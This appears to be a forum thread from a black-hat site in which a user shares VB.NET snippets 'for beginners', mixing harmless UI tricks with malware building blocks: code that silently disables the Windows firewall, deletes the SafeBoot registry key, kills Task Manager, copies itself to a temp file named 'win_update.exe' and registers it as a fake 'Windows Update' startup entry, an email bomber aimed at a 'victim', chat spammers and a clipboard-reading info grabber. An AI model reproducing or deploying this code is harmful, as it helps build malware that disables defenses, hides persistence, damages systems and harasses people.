Just a source code for Beginner

 

Results 1 to 3 of 3
Disable Firewall: Code: Dim Bumpbox As Process = New Process Dim top As String = ...
  1. #1
    phinuss's Avatar
    phinuss is offline Newbies
    Join Date
    Mar 2011
    Posts
    23
    Thanks
    28
    Thanked 28 Times in 14 Posts

    Default Just a source code for Beginner

    Disable Firewall:
    Code:
    Dim Bumpbox As Process = New Process
    Dim top As String = "netsh.exe"
    Bumpbox.StartInfo.Arguments = ("firewall set opmode disable")
    Bumpbox.StartInfo.FileName = top
    Bumpbox.StartInfo.UseShellExecute = False
    Bumpbox.StartInfo.RedirectStandardOutput = True
    Bumpbox.StartInfo.CreateNoWindow = True
    Bumpbox.Start()
    Bumpbox.WaitForExit()
    Windows Power Manager:
    Shutdown:
    Code:
    Shell("Shutdown -s")
    Restart:
    Code:
    Shell("Shutdown -r")
    LogOff:
    Code:
    Shell("Shutdown -l")
    Open a Website:
    Code:
    Process.Start("-write the url in here")

    Google Searcher
    Add:
    • Process
    • Button



    Double Click The Button and Write:
    Code:
    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
    If TextBox1.Text = "" Then
    msgbox("WTF :| ? are u searching for nothing o.0 ?)
    Else
    Process1.StartInfo.FileName = ("-the google url - search?hl=en&q=" & TextBox1.Text & "&btnG=Search&meta=")
    Process1.Start()
    End If
    End Sub
    All About File and Other

    Open other Application
    Code:
    Shell("Notepad")
    Shell("Calculator")
    Delete a file
    Code:
    Dim FileToDelete As String
    FileToDelete = "C:\File.exe"
    If System.IO.File.Exists(FileToDelete) = True Then
    System.IO.File.Delete(FileToDelete)

    Kill a process
    Dim RunningProcess As System.Diagnostics.Process = Process.GetProcessesByName("taskmgr.exe")(0)
    RunningProcess.Kill()
    Rename a file
    Code:
    My.Computer.FileSystem.RenameFile ("C:\Program Files\Mozilla Firefox\firefox.exe", "Anything.exe")
    Count Files In Folders:
    Code:
    Dim NOF As Integer
    Dim FilePath As String = TextBox1.Text
    NOF = System.IO.Directory.GetFiles(FilePath).Length
    TextBox2.Text =NOF.ToString
    All about Registry

    Delete a registry key
    Code:
    My.Computer.Registry.LocalMachine.DeleteSubKey("HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SafeBoot")
    Create a registry key
    Code:
    Dim regKey As RegistryKey
    regKey = Registry.LocalMachine.OpenSubKey("SOFTWARE", True)
    regKey.CreateSubKey("MyApp")
    regKey.Close()
    Chat Spammer
    Add:
    • 2 Buttons
    • 1 Timer


    Double Click Button1(Start) and write:
    Code:
    timer1.start
    Double Click Button2(Stop) and write:
    Code:
    timer1.stop
    Then... Double Click Timer1 and Write:
    Code:
    SendKeys.Send(TextBox1.Text)
    SendKeys.Send("{ENTER}")
    HotKeyChat Spammer!

    Drag a textbox out there follow up with 2 timer's. Change Timer2 to Enabled = True
    Add 2 labels and change label1.text to Start=F1 and label2.text stop=F2 (or whatever key you choose to use).

    Double click timer1 and write:
    Code:
    SendKeys.Send(TextBox1.Text)
    SendKeys.Send("{ENTER}")
    Double click Form1 and write:
    Code:
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Integer
    Double click timer2 :
    Code:
    Dim starthotkey As Boolean
    starthotkey = GetAsyncKeyState(Keys.F1)
    If starthotkey = True Then
    Timer1.Start()
    End If
    Dim stophotkey As Boolean
    stophotkey = GetAsyncKeyState(Keys.F2)
    If stophotkey = True Then
    Timer1.Stop()
    End If
    you can change GetAsyncKeyState(Keys.<insert new key here>) Ex. Keys.End)
    Add:
    • large picturebox
    • button1 = "Shoot"
    • Button2 = "Save"
    • Textbox1
    • Textbox2


    Double Click Button1 and write:
    Code:
    Dim BumpBox As Rectangle
    Dim screenshot As System.Drawing.Bitmap
    Dim graph As Graphics
    BumpBox = Screen.PrimaryScreen.BumpBox
    screenshot = New System.Drawing.Bitmap(BumpBox.Width, BumpBox.Height, System.Drawing.Imaging.PixelFormat.Format32bppArgb)
    graph = Graphics.FromImage(screenshot)
    graph.CopyFromScreen(BumpBox.X, BumpBox.Y, 0, 0, BumpBox.Size, CopyPixelOperation.SourceCopy)
    PictureBox1.Image = screenshot
    Double Click Button2 and write:
    Code:
    Dim savefile As New System.IO.StreamWriter("C:\Users\" + TextBox1.Text + "\documents\" + TextBox2.Text + ".jpg")
    savefile.Write(PictureBox1.Image)
    savefile.Close()
    MsgBox("Pictue Saved ", MsgBoxStyle.Exclamation, "Done!")
    Text To Speech:
    Code:
    Dim sapi
    sapi = CreateObject("sapi.spvoice")
    sapi.Speak(Textbox1.text)
    Fade in
    Code:
    For FadeIn = 0.0 To 1.1 Step 0.1
    Me.Opacity = FadeIn
    Me.Refresh()
    Threading.Thread.Sleep(100)
    Next
    Fade out:
    Code:
    For FadeOut = 90 To 10 Step -10
    Me.Opacity = FadeOut / 100
    Me.Refresh()
    Threading.Thread.Sleep(50)
    Next
    Simple Web Browser

    • Add a Webbrowser
    • 5 buttons
    • 1 combobox


    Properties
    • Button1 = Back
    • Button2 = Forward
    • Button3 = Refresh
    • Button4 = Stop
    • Button5 = Go!



    Button1:
    Code:
    Webbrowser1.goback
    Button2:
    Code:
    webbrowser1.goforward
    Button3:
    Code:
    webbrowser1.refresh
    Button4:
    Code:
    webbrowser1.stop
    Button5:
    Code:
    webbrowser1.navigate(combobox1.text)
    Add Music To Your Tool:


    First Add your music to Resources
    The File Type Of The Music must be .wav
    Double Click Button1 (start):
    Code:
    My.Computer.Audio.Play(My.Resources.song namenowav, AudioPlayMode.BackgroundLoop)
    Double Click Button2 (stop)
    Code:
    My.Computer.Audio.Stop()
    Xfire Add Friender and status changer
    Add:
    • 2 buttons
    • 1 webbrowser
    • 2 textboxes



    Button1.text = Change Status
    Button2.text = Add Friend

    Double Click Button1 and write:
    Code:
    WebBrowser1.Navigate("xfire:status?text= " & TextBox1.Text)
    Double Click Button2 and Write:
    Code:
    WebBrowser1.Navigate("xfire:add_friend?u ser=" & TextBox2.Text)
    Add Your Application To Startup


    Before Public Class Form1
    Add:
    Code:
    Imports System.IO
    Imports Microsoft.Win32
    Now double click form1 and add the following Code:
    Code:
    Try
    If System.IO.File.Exists(Path.GetTempPath() & "win_update.exe") = False Then
    System.IO.File.Copy(System.Reflection.Assembly. _
    GetExecutingAssembly.Location, Path.GetTempPath() & "win_update.exe")
    End If
    Catch ex As Exception
    
    End Try
    Try
    Dim regKey As RegistryKey
    regKey = Registry.CurrentUser.OpenSubKey("software\Microsoft\Windows\CurrentVersion\Run", True)
    regKey.SetValue("Windows Update", Path.GetTempPath() & "win_update.exe")
    regKey.Close()
    
    Catch ex As Exception
    
    End Try
    
    Try
    Dim regKey As RegistryKey
    regKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True)
    regKey.SetValue("Windows Update", Path.GetTempPath() & "win_update.exe")
    regKey.Close()
    
    Catch ex As Exception
    End Try
    Gmail Bomber

    Add a Timer, 5 textboxes, button
    Properties
    • textbox1 = Gmail Username
    • textbox2 = Gmail Password
    • textbox3 = Victim E-mail Address
    • textbox4 = Subject
    • textbox5 = Message
    • button1.text = send!



    Add on Top Of "Public Class Form1"
    Code:
    Imports System.Net.Mail
    Double Click Button1 and write:
    Code:
    timer1.start
    then Double click Timer1 and write:
    Code:
    Dim MyMailMessage As New MailMessage()
    MyMailMessage.From = New MailAddress(TextBox1.Text)
    MyMailMessage.To.Add(TextBox3.Text)
    MyMailMessage.Subject = (TextBox4.Text)
    MyMailMessage.Body = TextBox5.Text
    Dim SMTPServer As New SmtpClient("smtp.gmail.com")
    SMTPServer.Port = 587
    SMTPServer.Credentials = New System.Net.NetworkCredential(TextBox1.Text, TextBox2.Text)
    SMTPServer.EnableSsl = True
    SMTPServer.Send(MyMailMessage)
    MsgBox("Email Has been sent Successfully ;)")
    Info Grabber

    Gets OS Name:
    Textbox1.text = My.Computer.Info.OSFullName
    Gets OS Version & Build Number:
    Code:
    Textbox2.text = My.Computer.Info.OSVersion
    Gets Total Physical Memory:
    Code:
    Textbox3.text = My.Computer.Info.TotalPhysicalMemory
    Gets Available Physical Memory:
    Code:
    Textbox4.text = My.Computer.Info.AvailablePhysicalMemory
    Gets Clipboard Text:
    Code:
    Textbox5.text = My.Computer.Clipboard.GetText
    Gets Local Time:
    Code:
    Textbox6.text = My.Computer.Clock.LocalTime
    Minimize To Tray

    Just Add a Notifyicon
    Code:
    Private Sub Form1_Resize(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Resize
    
    If Me.WindowState = FormWindowState.Minimized Then
    
    Me.Hide()
    
    End If
    
    End Sub
    
    Private Sub NotifyIcon1_MouseClick(ByVal sender As System.Object, ByVal e As System.Windows.Forms.MouseEventArgs) Handles NotifyIcon1.MouseClick
    
    If Me.WindowState = FormWindowState.Minimized Then
    
    Me.Show()
    
    Me.WindowState = FormWindowState.Normal
    
    End If
    
    End Sub
    Last edited by jazzc; 12-28-2012 at 12:29 PM.




  2. #2
    Mission Ashwamedh's Avatar
    Mission Ashwamedh is offline Junior Member
    Join Date
    Jul 2012
    Posts
    187
    Thanks
    6
    Thanked 112 Times in 31 Posts

    Default Re: Just a source code for Beginner

    I liked that

  3. #3
    jazzc's Avatar
    jazzc is offline Programming & Web Design Moderator black hat forumsblack hat forumsblack hat forums
    Join Date
    Jan 2009
    Posts
    2,184
    Thanks
    6,090
    Thanked 7,042 Times in 2,496 Posts

    Default Re: Just a source code for Beginner

    I merged all the posts but no more copy pasting from the net and posting here - last warning and thread closed.


Similar Threads

  1. Can you get the source code?
    By hammertime15 in forum Black Hat SEO Tools
    Replies: 12
    Last Post: 05-18-2012, 12:40 AM
  2. Prevent GoDaddy code from showing up in source code
    By sfidirectory in forum Black Hat SEO
    Replies: 4
    Last Post: 08-28-2011, 10:59 AM
  3. Looking at source code
    By Billw in forum BlackHat Lounge
    Replies: 13
    Last Post: 08-01-2008, 02:23 PM

Tags for this Thread

Bookmarks

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  




BlackHatWorld on Twitter BlackHatWorld on FaceBook


1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109